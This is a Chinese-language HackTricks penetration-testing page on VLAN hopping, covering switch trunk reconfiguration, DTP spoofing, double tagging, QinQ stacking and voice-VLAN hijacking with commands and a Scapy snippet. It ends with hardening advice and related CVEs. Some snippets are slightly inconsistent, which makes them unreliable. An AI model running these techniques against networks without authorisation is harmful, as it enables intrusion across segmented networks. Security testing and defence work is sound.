Lateral VLAN Segmentation Bypass
Reading time: 10 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
如果可以直接访问交换机,则可以绕过VLAN分段。这涉及将连接端口重新配置为干道模式,为目标VLAN建立虚拟接口,并根据场景设置IP地址(动态(DHCP)或静态)(有关更多详细信息,请查看 https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)。
最初,需要识别特定的连接端口。这通常可以通过CDP消息完成,或通过include掩码搜索端口。
如果CDP未运行,可以尝试通过搜索MAC地址进行端口识别:
SW1(config)# show mac address-table | include 0050.0000.0500
在切换到干线模式之前,应编制现有VLAN的列表,并确定它们的标识符。然后将这些标识符分配给接口,从而通过干线访问各种VLAN。例如,正在使用的端口与VLAN 10相关联。
SW1# show vlan brief
切换到干线模式需要进入接口配置模式:
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
切换到 trunk 模式会暂时中断连接,但随后可以恢复。
然后创建虚拟接口,分配 VLAN ID,并激活:
# Legacy (vconfig) – still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
# Modern (ip-link – preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
随后,通过DHCP发出地址请求。或者,在DHCP不可行的情况下,可以手动配置地址:
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
在接口上手动设置静态IP地址的示例(VLAN 10):
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10
连接性通过向VLAN 10、20、50和60的默认网关发起ICMP请求进行测试。
最终,这个过程使得绕过VLAN分段成为可能,从而促进对任何VLAN网络的无限制访问,并为后续操作奠定基础。
其他VLAN跳跃技术(无特权交换机CLI)
前面的方法假设已获得交换机的认证控制台或Telnet/SSH访问。在实际操作中,攻击者通常连接到一个常规接入端口。以下的第2层技巧通常允许您在不登录交换机操作系统的情况下横向移动:
1. 使用动态干线协议(DTP)进行交换机欺骗
启用DTP的Cisco交换机会乐于协商干线,如果对端声称是交换机。构造一个**DTP “desirable”或“trunk”**帧将接入端口转换为一个802.1Q干线,承载所有允许的VLAN。
Yersinia和几个PoC自动化了这个过程:
# Become a trunk using Yersinia (GUI)
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
侦察助手(被动指纹识别端口的 DTP 状态):
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
# or
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0
一旦端口切换到 trunk,您可以创建 802.1Q 子接口,并按照上一节所示进行 pivot。
2. 双重标记 (Native-VLAN 滥用)
如果攻击者位于 native (untagged) VLAN,则带有 两个 802.1Q 头的构造帧可以跳转到第二个 VLAN,即使端口被锁定在接入模式。 工具如 VLANPWN DoubleTagging.py (2022-2025 刷新) 自动化了注入:
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
3. QinQ (802.1ad) Stacking
许多企业核心支持 Q-in-Q 服务提供商封装。在允许的情况下,攻击者可以在提供商 (S-tag) 内隧道任意的 802.1Q 标记流量,以跨越安全区域。捕获以 ethertype 0x88a8
并尝试使用 Scapy 弹出外部标签:
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
4. 通过 LLDP/CDP 进行 Voice-VLAN 劫持 (IP-电话欺骗)
企业接入端口通常采用 “接入 + 语音” 配置:未标记的数据 VLAN 用于工作站,标记的语音 VLAN 通过 CDP 或 LLDP-MED 广播。通过冒充 IP 电话,攻击者可以自动发现并跳入 VoIP VLAN——即使 DTP 被禁用。
VoIP Hopper (打包在 Kali 2025.2 中) 支持 CDP、DHCP 选项 176/242 和完整的 LLDP-MED 欺骗:
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
该技术绕过了数据/语音分离,并且在2025年的企业边缘交换机上极为常见,因为许多型号默认启用了LLDP自动策略。
防御建议
- 在所有面向用户的端口上禁用DTP:
switchport mode access
+switchport nonegotiate
。 - 将每个干线的本地VLAN更改为未使用的黑洞VLAN并标记:
vlan dot1q tag native
。 - 在干线上修剪不必要的VLAN:
switchport trunk allowed vlan 10,20
。 - 强制实施端口安全、DHCP嗅探、动态ARP检查和802.1X以限制恶意的二层活动。
- 如果不需要IP电话欺骗,请禁用LLDP-MED自动语音策略(或将其锁定到经过身份验证的MAC OUI)。
- 优先使用私有VLAN或L3分段,而不是仅依赖802.1Q分离。
现实世界的供应商漏洞(2022-2024)
即使是完美加固的交换机配置也可能被固件错误破坏。最近的例子包括:
- CVE-2022-20728† – Cisco Aironet/Catalyst接入点允许从本地VLAN注入到非本地WLAN VLAN,绕过有线/无线分段。
- **CVE-2024-20465 (Cisco IOS工业Ethernet)**允许在切换弹性以太网协议后在SVI上绕过ACL,泄漏VRF/VLAN之间的流量。补丁17.9.5或更高版本。
始终监控供应商关于VLAN相关绕过/ACL问题的建议,并保持基础设施映像的最新。
参考文献
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- VLANPWN攻击工具包 – https://github.com/casterbytethrowback/VLANPWN
- Twingate “什么是VLAN跳跃?”(2024年8月) – https://www.twingate.com/blog/glossary/vlan%20hopping
- VoIP Hopper项目 – https://github.com/hmgh0st/voiphopper
- Cisco建议 “cisco-sa-apvlan-TDTtb4FY” – https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。